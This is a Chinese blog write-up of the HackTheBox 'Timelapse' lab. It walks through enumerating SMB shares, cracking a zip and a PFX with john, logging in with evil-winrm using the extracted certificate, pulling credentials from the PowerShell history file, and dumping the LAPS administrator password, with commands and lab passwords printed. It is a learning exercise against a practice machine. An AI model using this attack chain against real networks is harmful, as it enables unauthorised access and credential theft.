htb Timelapse复盘
FLow

继续记录靶机,学习📑

参考链接

官方wp

https://developer.aliyun.com/article/1160921

https://mp.weixin.qq.com/s/W6g0liTaOFJWFAMJGBwr4A

信息搜集

1
nmap  -p- --min-rate=1000 -T4 -A 10.10.11.152

开了挺多端口的,可以猜测这台靶机是个域控

用CrackMapExec对smb扫描,看看有什么共享资源

1
crackmapexec smb 10.10.11.152 --shares -u xxx -p ''

有一个shares目录,用smbclient进行读取文件

1
smbclient -N //10.10.11.152/shares

Dev目录下有个压缩包,get到本地

爆破拿到密钥

发现需要密码,里面有个.pfx文件

PFX 文件是一种用于存储和传输加密的数字证书的文件格式。它通常包含了证书、私钥和可选的证书链,所有这些内容都被加密并存储在一个文件中。PFX 文件通常使用密码进行保护,以确保只有授权的用户可以访问其中的私钥和证书。

先用john看看能不能爆破zip密码

1
zip2john winrm_backup.zip > ziphash

拿到密码解压,成功拿到pfx文件,需要从里面导出密钥

1
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out pfx.key

也需要密码,再用john爆破(发现john不能用root运行,我还以为哪里出错了。。。)

拿到密码继续到处key

1
2
3
4
5
6
7
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out pfx.key
# -nocerts 选项告诉 OpenSSL 不要提取证书,只提取私钥。
# pfx.key 是输出私钥的文件名。
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out pfx.crt
# -clcerts 选项告诉 OpenSSL 只提取客户端证书(不包括中间证书),如果 PFX 文件中包含中间证书链,则中间证书将不会被提取。
# -nokeys 选项告诉 OpenSSL 不要提取私钥。
# pfx.crt 是输出证书的文件名。

还提示要给key文件设置密码

然后拿这两个文件用evil-winrm连接到主机,输入的密码是刚刚自己设置的那个

1
evil-winrm -i 10.10.11.152 -S -c pfx.crt -k pfx.key

cd到C:\Users\legacyy\desktop,拿到user.txt

提权

查看powershell历史命令记录文件

这个在应急响应中,检查windows主机,可以查看一下这个目录。

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

里面有ConsoleHost_history.txt文件,拿到一个新的账号密码

再用evil-winrm登陆

1
evil-winrm -i 10.10.11.152 -u svc_deploy -p E3R$Q62^12p7PLlC%KWaxuaV -S

-S: 启用安全模式,使用 SSL 加密连接。这意味着连接将通过 HTTPS 加密进行,提供更安全的通信。

没有-S失败了好几次。。。

使用net user svc_deploy

“Local Administrator Password Solution” (LAPS) is used to manage local account passwords of

Active Directory computers.

LAPS_Readers这个分组说明 svc_deploy 有权从 LAPS进行读取

使用laps.py脚本导出域账号密码,需要绑定域名

1
git clone https://github.com/n00py/LAPSDumper

成功拿到管理员密码,evil-winrm登陆

1
evil-winrm -i timelapse.htb -S -u Administrator -p '[ej6W8oU!8b;V3}0obNE[!{#'

提权成功

读取密码的第二种方式

使用这个命令

1
Get-ADComputer DC01 -property 'ms-mcs-admpwd'

Get-ADComputer 是一个 PowerShell cmdlet,用于获取 Active Directory 中计算机对象的信息。-property 'ms-mcs-admpwd' 参数指定要返回的属性,其中 'ms-mcs-admpwd' 是计算机对象属性的名称。

这个命令的作用是获取名为 “DC01” 的计算机对象的 “ms-mcs-admpwd” 属性的值。这个属性通常用于存储 LAPS(Local Administrator Password Solution)生成的本地管理员账户的密码。 LAPS 是一种 Microsoft 提供的工具,用于管理 Windows 计算机的本地管理员密码,并确保每台计算机上的密码是唯一且定期更改的。

执行这个命令后,你将得到名为 “DC01” 的计算机对象的 “ms-mcs-admpwd” 属性的值,即本地管理员密码。

(来自ai的解释)

也能读到密码

总结

整体思路:CrackMapExec发现smb有共享资源–>拿到压缩包–>一系列爆破解密登陆第一个账户–>历史命令文件中发现另一个账户账号密码–>发现LAPS读取权限–>管理员密码读取

涉及知识点:pfx文件,smbclient拿到共享资源,windows历史命令文件位置,LAPS服务

思路不算难,写完复盘也是对windows多了解了一些🙋‍♀️

由 Hexo 驱动 & 主题 Keep